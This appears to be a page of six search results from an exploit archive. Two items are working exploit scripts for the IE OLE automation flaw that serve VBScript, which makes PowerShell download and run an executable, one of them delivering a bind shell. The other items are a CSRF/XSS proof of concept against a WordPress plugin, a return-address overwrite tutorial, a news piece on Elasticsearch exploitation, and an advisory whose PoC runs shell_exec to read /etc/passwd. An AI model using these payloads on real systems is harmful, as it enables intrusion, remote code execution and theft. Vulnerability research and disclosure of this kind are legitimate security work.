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Found 6 results

  1. #!/usr/bin/php <?php # Title : Havij OLE Automation Array Remote Code Execution # Affected Versions: All Version # Founder : ITSecTeam # Tested on Windows 7 / Server 2008 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # # # OleAut32.dll Exploit MS14-064 CVE2014-6332 # # # 1 . run php code : php havij.php # 2 . open "Havij" and Enter your exploit link http://ipaddress:80/ # 3 . go to "Setting" and Click "Load Cookie" # 4 . Your Link Download/Execute on your target # 5 . Finished #Youtube : https://www.youtube.com/watch?v=svU8SuJhaVY $port=80; # Port Address $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!'); socket_bind($reza, 0,$port); socket_listen($reza); print " Mohammad Reza Espargham\n www.reza.es\n\nYour Link = http://ipaddress:$port / http://127.0.0.1:$port\n\n"; $msg = 'PGh0bWw+CjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9RW11 bGF0ZUlFOCIgPgo8aGVhZD4KPC9oZWFkPgo8Ym9keT4KIAo8U0NSSVBUIExBTkdVQUdFPSJWQlNj cmlwdCI+CgpmdW5jdGlvbiBydW5tdW1hYSgpIApPbiBFcnJvciBSZXN1bWUgTmV4dApzZXQgc2hl bGw9Y3JlYXRlb2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpCmNvbW1hbmQ9Ikludm9rZS1FeHBy ZXNzaW9uICQoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdG SUxFX0RPV05MT0FEJywnbG9hZC5leGUnKTskKE5ldy1PYmplY3QgLWNvbSBTaGVsbC5BcHBsaWNh dGlvbikuU2hlbGxFeGVjdXRlKCdsb2FkLmV4ZScpOyIKc2hlbGwuU2hlbGxFeGVjdXRlICJwb3dl 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@socket_accept($reza)) { socket_write($client, "HTTP/1.1 200 OK\r\n" . "Content-length: " . strlen($msgd) . "\r\n" . "Content-Type: text/html; charset=UTF-8\r\n\r\n" . $msgd); print "\n Target Checked Your Link \n"; } else usleep(100000); } ?>
  2. #!/usr/bin/python import BaseHTTPServer, socket ## # IBM Security AppScan Standard OLE Automation Array Remote Code Execution # # Author: Naser Farhadi # Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909 # # Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7 # # Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/ # if you able to exploit IE then you can exploit appscan and acunetix # This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And # Metasploit windows/shell_bind_tcp Executable Payload # # Usage: # chmod +x appscan.py # ./appscan.py # ... # nc 172.20.10.14 333 # # Video: http://youtu.be/hPs1zQaBLMU ## class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(req): req.send_response(200) if req.path == "/payload.exe": req.send_header('Content-type', 'application/exe') req.end_headers() exe = open("payload.exe", 'rb') req.wfile.write(exe.read()) exe.close() else: req.send_header('Content-type', 'text/html') req.end_headers() req.wfile.write("""Please scan me! <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe',\ 'payload.exe');$(New-Object -com Shell.Application).ShellExecute('payload.exe');" shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0 end function dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script>""") if __name__ == '__main__': sclass = BaseHTTPServer.HTTPServer server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler) print "Http server started", socket.gethostbyname(socket.gethostname()), 80 try: server.serve_forever() except KeyboardInterrupt: pass server.server_close() Source
  3. https://wordpress.org/plugins/yet-another-related-posts-plugin/ Affected Versions <= 4.2.4 Description 'Yet Another Related Posts Plugin' options can be updated with no token/nonce protection which an attacker may exploit via tricking website's administrator to enter a malformed page which will change YARPP options, and since some options allow html the attacker is able to inject malformed javascript code which can lead to *code execution/administrator actions* when the injected code is triggered by an admin user. injected javascript code is triggered on any post page. Vulnerability Scope XSS RCE ( http://research.evex.pw/?vuln=14 ) Authorization Required None Proof of Concept <body onload="document.getElementById('payload_form').submit()" > <form id="payload_form" action="http://wpsite.com/wp-admin/options-general.php?page=yarpp" method="POST" > <input type='hidden' name='recent_number' value='12' > <input type='hidden' name='recent_units' value='month' > <input type='hidden' name='threshold' value='5' > <input type='hidden' name='weight[title]' value='no' > <input type='hidden' name='weight[body]' value='no' > <input type='hidden' name='tax[category]' value='no' > <input type='hidden' name='tax[post_tag]' value='consider' > <input type='hidden' name='auto_display_post_types[post]' value='on' > <input type='hidden' name='auto_display_post_types[/page][page]' value='on' > <input type='hidden' name='auto_display_post_types[attachment]' value='on' > <input type='hidden' name='auto_display_archive' value='true' > <input type='hidden' name='limit' value='1' > <input type='hidden' name='use_template' value='builtin' > <input type='hidden' name='thumbnails_heading' value='Related posts:' > <input type='hidden' name='no_results' value='<script>alert(1);</script>' > <input type='hidden' name='before_related' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_related' value='</li>' > <input type='hidden' name='before_title' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_title' value='</li>' > <input type='hidden' name='show_excerpt' value='true' > <input type='hidden' name='excerpt_length' value='10' > <input type='hidden' name='before_post' value='+<small>' > <input type='hidden' name='after_post' value='</small>' > <input type='hidden' name='order' value='post_date ASC' > <input type='hidden' name='promote_yarpp' value='true' > <input type='hidden' name='rss_display' value='true' > <input type='hidden' name='rss_limit' value='1' > <input type='hidden' name='rss_use_template' value='builtin' > <input type='hidden' name='rss_thumbnails_heading' value='Related posts:' > <input type='hidden' name='rss_no_results' value='No Results' > <input type='hidden' name='rss_before_related' value='<li>' > <input type='hidden' name='rss_after_related' value='</li>' > <input type='hidden' name='rss_before_title' value='<li>' > <input type='hidden' name='rss_after_title' value='</li>' > <input type='hidden' name='rss_show_excerpt' value='true' > <input type='hidden' name='rss_excerpt_length' value='10' > <input type='hidden' name='rss_before_post' value='+<small>' > <input type='hidden' name='rss_after_post' value='</small>' > <input type='hidden' name='rss_order' value='score DESC' > <input type='hidden' name='rss_promote_yarpp' value='true' > <input type='hidden' name='update_yarpp' value='Save Changes' > </form></body> Fix No Fix Available at The Moment. Timeline Notified Vendor - No Reply Notified Vendor Again- No Reply Publish Disclosure @evex_1337 [url]http://research.evex.pw/?vuln=15[/url]Homepage Source
  4. In the previous article, we learned about the basics of the Stack Based Buffer Overflow, such as analyzing the stack, creating breakpoints and analyzing the function call and registers. With the help of these skills, we will now see how we can manipulate the return addresses dynamically into the program. We will analyze a program in which a function ‘do_not_call’ is defined but has never been called throughout the program. So, our goal is to change the register address in a way so that this function is called and performs the operation which is given in the function. We will perform this task by manipulating the register addresses while the program is running. Let’s take a look at the program. We have already given the source code and the binary file of the program in the end of the article. You can download it here: Download As can be seen in the above screenshot, we have mentioned a number for each function. The description for the same is given below. First of all, we have created a function “do_not_call” which prints the message “Function do_not_call is called” by the printf command. This is another function. The name of this function is ‘function1?, which has the integer return type with one argument. In the next line we have created a local variable. This function prints the message “function1 is called”. This is the main function of the program. The program execution will begin with this function. First, we gave a command to print the message “Main function is called”, and in the next step we initialized the local variable. In the next line, we have called the ‘function1?. You must have noticed that we have not called the “do_not_call” function in our program. Let us verify it by running the program normally. As we can see in the above screenshot, when we run the program normally, it prints two messages, ‘Main Function is called’ and ‘Function1 is called’. Now, we will open the program in Immunity Debugger. After opening the program with Immunity Debugger, we can see four different screens. Each screen is showing a different kind of program data. If we scroll down the first screen we can see all assembly language instructions as well as the strings we have used in the program. You can see the same in the screenshot given below. As can be seen in the above screenshot, the main function starts by pushing the EBP resister into the memory and ends at the RETN instruction. For a better understanding, we have created a table in which we have the starting and ending address of all the functions defined in our program. Function Name Function Starting Address Function Ending Address Main Function 004013C4 00401416 Function 1 004013A4 004013C4 Do_not_call 00401390 004013A3 Now we will make a list of all the function calls taking place in the program. After analyzing the main program, we can see the following function calls: After taking a close look at the above screenshot, we find that there are four function calls in the main program. If we closely look at the functions which are being called, then in the fourth function call, we can see that it is calling to ‘Second.004013A4? in which the last 8 digit address is actually the starting address of ‘function1?. We can verify the same by checking the table we have created above. In simple terms, this statement is calling function1 as we have defined in the program source code. Now, we will create a break point to analyze the Stack, Return Addresses, etc. (We have already mentioned all the basics in the previous article, like what is a breakpoint and how do we create a breakpoint in the debugger, etc., so we are not going to cover this again in this article.) The following steps are mentioned below to further analysis. Create the breakpoint before the 4th function call. We can do this by clicking on the instruction and hitting the F2 key, after that run the program. We can run the program by pressing F9. Now, we can see the following screen in the debugger. As of now, the program execution control has reached that position where we have created the breakpoint. In screen 1, we have created the breakpoint on “00401401” and now the program has paused on this instruction. We can see in screen 2 the EIP register is pointing to the address at which we have created the breakpoint. Now we will execute the instructions step by step for understanding the concept more clearly. Let us execute the next instruction; we can do this by pressing the F7 key, which is Step into. As we can see, execution control is pointing to the next instruction in screen 1 and EIP is also pointing to the instruction address. Now, the execution control would go to address “004013A4? which is the starting address of the function1. We will now execute it and see what changes we come across. Again hit the F7 key to execute the next instruction. We get the following output screen. This step is very critical and important to understand. As can be seen in the above screenshot, the execution pointer has switched from 00401408 (No-1) to 004013A4 (No-2) which is the starting point of ‘function1?. Also, when we take a look at screen 4 we see that the Top of the Stack (No-3) is pointing the address 0040140D (No-4), which is the next instruction from the function call. This address is also called the return address to the main program. It means that after the execution of ‘function1? is complete, then the execution control would switch to this address. If we change this return address, we can actually change the order of execution of the program. So, let us change the return address in the debugger with the address of the ‘do_not_call’ function address which was in the above table. The function “do_not_call” address is: “00401390” To change the address, we will have to right click on the address and click on modify. After that, change the Hexadecimal value and then click on OK. Now, we can see our changes are reflected on screen 4. The top of the stack is pointing to the address of the ‘do_not_call’ function. This will allow us to execute the ‘do_not_call’ function, which was not supposed to be executed in the actual program. Now, we will execute each instruction step by step until we reach the RETN instruction. As we can see, program execution control has reached the RETN instruction. It means the function1 execution has completed and now the execution control will go to the main program (according to our program), but we had changed the return address in the previous step to the function ‘do_not_call’, so the execution control will go to the ‘do_not_call’ function and execute the instruction that it is defined to execute. So, let us execute next instruction step by step and we will see the ‘do_not_call’ function has successfully executed. We can verify the same by checking the output of the program. As can be seen in the above screenshot, by dynamically changing the return address of the program, we are successfully able to execute the function the program was not supposed to execute. So in this article we have learned… Monitoring and Analyzing the Register Value Analyzing Top of Stacks Changing the Return Address References https://www.owasp.org/index.php/Buffer_overflow_attack http://en.wikipedia.org/wiki/C_file_input/output http://www.exploit-db.com/ http://www.pentesteracademy.com/ Source
  5. Attackers are targeting a patched remote code execution vulnerability in Elasticsearch that grants unauthenticated bad guys access through a buggy API. The flaw (CVE-2015-1427) within the world's number two enterprise search engine was patched last month. It relates, for folks at Mitre say, to the Groovy scripting engine in Elasticsearch before versions 1.3.8 and 1.4.3 in which sandbox protections could be bypassed, allowing the execution of arbitrary shell commands with a crafted script. The fixes disable Groovy sandboxing and dynamic script execution which ElasticSearch developer Clinton Gormley says is a "blow" to Elasticsearch. Texas hacker Jordan Wright (@jw_sec) explained the vulnerability reported by Cisco and Elasticsearch security bod Cameron Morris after he was targeted in attacks. In a post written to alert fellow users he says the patch could be reversed to find hints about how to exploit the flaw. "This vulnerability was not heavily advertised, but it is absolutely critical," Wright says. "In fact, I had one of my own Elasticsearch instances compromised this way, showing this vulnerability is heavily being exploited in the wild. "I won’t provide a full proof-of-concept, but all the pieces are here ... it is pretty straightforward to run whatever commands you want." Developer David Davidson published overnight to GitHub what he says is a functioning proof of concept. There is a "tonne" of publicly-accessible Elasticsearch instances, Wright says. He recommends on Reddit that users check /tmp folders to ensure it is not accessible over the internet. "I've been seeing a ton of attempts to download skiddie DDoS bots via wget to /tmp in the past week or so," he says. Gormley says the company is in the long term examining ways to improve Expressions to become a more-powerful safe "mini-language". Source
  6. -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 PHP Code Execution in jui_filter_rules Parsing Library ====================================================== Researcher: Timo Schmid <tschmid@ernw.de> Description =========== jui_filter_rules[1] is a jQuery plugin which allows users to generate a ruleset which could be used to filter datasets inside a web application. The plugin also provides a PHP library to turn the user submitted ruleset into SQL where statements for server side filtering. This PHP library contains a feature which allows to convert the submitted filter values with server side functions. These functions can be specified within the ruleset, which leads to an arbitrary PHP code execution. Exploitation Technique ====================== Remote Severity Level ============== Critical CVSS Base Score =============== 6.8 (AV:N / AC:M / Au:N / C:P / I:P / A:P) CVE-ID ====== <unassigned> Impact ====== By using the provided rule parsing library to generate SQL statements, an attacker is capable of executing arbitrary PHP code in the context of the web server. This could lead to a full compromise of the web server. The attack vector could be limited by existing validation mechanisms around the library, but this would require a partial manual parsing of the user supplied rules. Status ====== Reported Vulnerable Code Section ======================= server_side/php/jui_filter_rules.php: [...] private function create_filter_value_sql($filter_type, $operator_type, ... [...] if(is_array($filter_value_conversion_server_side)) { $function_name = $filter_value_conversion_server_side['function_name']; $args = $filter_value_conversion_server_side['args']; $arg_len = count($args); for($i = 0; $i < $vlen; $i++) { // create arguments values for this filter value $conversion_args = array(); for($a = 0; $a < $arg_len; $a++) { if(array_key_exists('filter_value', $args[$a])) { array_push($conversion_args, $a_values[$i]); } if(array_key_exists('value', $args[$a])) { array_push($conversion_args, $args[$a]['value']); } } // execute user function and assign return value to filter value try { $a_values[$i] = call_user_func_array($function_name, $conversion_args); } catch(Exception $e) { $this->last_error = array( 'element_rule_id' => $element_rule_id, 'error_message' => $e->getMessage() ); break; } } } [...] The provided PHP parsing library allows to specify a PHP function to convert the supplied filter value on the server side. This leads ultimatively to code execution through attacker supplied input. As no whitelist approach is used, any existing PHP function could be executed (including shell commands). Proof of Concept ================ Using the demo application from the git repository: Executing shell_exec('cat /etc/passwd') Request: POST /ajax_create_sql.dist.php HTTP/1.0 host: http://www.example.com X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 471 a_rules%5B0%5D%5Bfilter_value_conversion_server_side%5D%5Bfunction_name%5D=she ll_exec&a_rules%5B0%5D%5Bcondition%5D%5BfilterValue%5D=&a_rules%5B0%5D%5Bfilte r_value_conversion_server_side%5D%5Bargs%5D%5B0%5D%5Bvalue%5D=cat+%2Fetc%2Fpas swd&pst_placeholder=question_mark&a_rules%5B0%5D%5Belement_rule_id%5D=foo&use_ ps=yes&a_rules%5B0%5D%5Bcondition%5D%5Bfield%5D=some_field&a_rules%5B0%5D%5Bco ndition%5D%5Boperator%5D=equal&a_rules%5B0%5D%5Bcondition%5D%5BfilterType%5D=d ate Response: HTTP/1.1 200 OK Date: Tue, 13 Jan 2015 02:12:33 GMT Server: Apache/2.2.22 (Debian) Content-Length: 530 Content-Type: text/html {"sql":"WHERE \nsome_field = ?","bind_params":"root:x:0:0:admin COSMOS:/root:/ bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\ns ys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga mes:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/va r/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/s pool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:pr oxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh"} Solution ======== This functionality should generally be removed or replaced by a mapping/ whitelist approach and strict type filtering to prevent arbitrary code execution. Affected Versions ================= >= git commit b1e795eeba1bac2f9b0d383cd3da24d6d26ccb4b < 1.0.6 (commit 0b61463cd02cc1814046b516242779b29ba7d1e1) Timeline ======== 2015-01-12: Vulnerability found 2015-01-13: Developer informed 2015-02-14: Fixed in version 1.0.6 (git 0b61463cd02cc1814046b516242779b29ba7d1e1) References ========== [1] http://www.pontikis.net/labs/jui_filter_rules [2] https://www.owasp.org/index.php/Code_Injection [3] https://www.ernw.de/download/BC-1501.txt [4] https://bufferoverflow.eu/BC-1501.txt Advisory-ID =========== BC-1501 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. - -- Timo Schmid ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de Tel. +49 6221 48039-0 (HQ) - Fax +49 6221 419008 - Cell +49 151 16227192 PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0 Handelsregister Mannheim: HRB 337135 Geschaeftsfuehrer: Enno Rey ============================================================== || Blog: www.insinuator.net | | Conference: www.troopers.de || ============================================================== ================== TROOPERS15 ================== * International IT Security Conference & Workshops * 16th - 20st March 2015 / Heidelberg, Germany * www.troopers.de ==================================================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBAwAGBQJU5KMNAAoJEHq2kn1vJmzgroMIAIsvJOdkZLSIjp1bdczg7NFP YBcVZNXXd7H2LES/bH20wGHMEke2YfL97CfjBk5R1OpBaialTHHi/HrzqbnWft2x x+u7rOdG0Q+aAAakoBpO7wG1B97+bmXnR6ytgFtxgJO+dfWWwAxhjsqjQ0boRgMr bzhFkHznlUV2s89n6vEBG2qnowSNqJgnWpbkyekCyISF87bh4nfuNDoj40+aCCNa Iw3AO8S2bvgVqY980hovoCsW94764/65mVMr2dvTlQx3tR1zTra2km8yq0IOtdIs AJ8dicIAN0EDuGQKFtLbxkShh4E9spXeQlFRmz1kLa76PELHzJWnyhKUB4o+uds= =tnwW -----END PGP SIGNATURE----- Source
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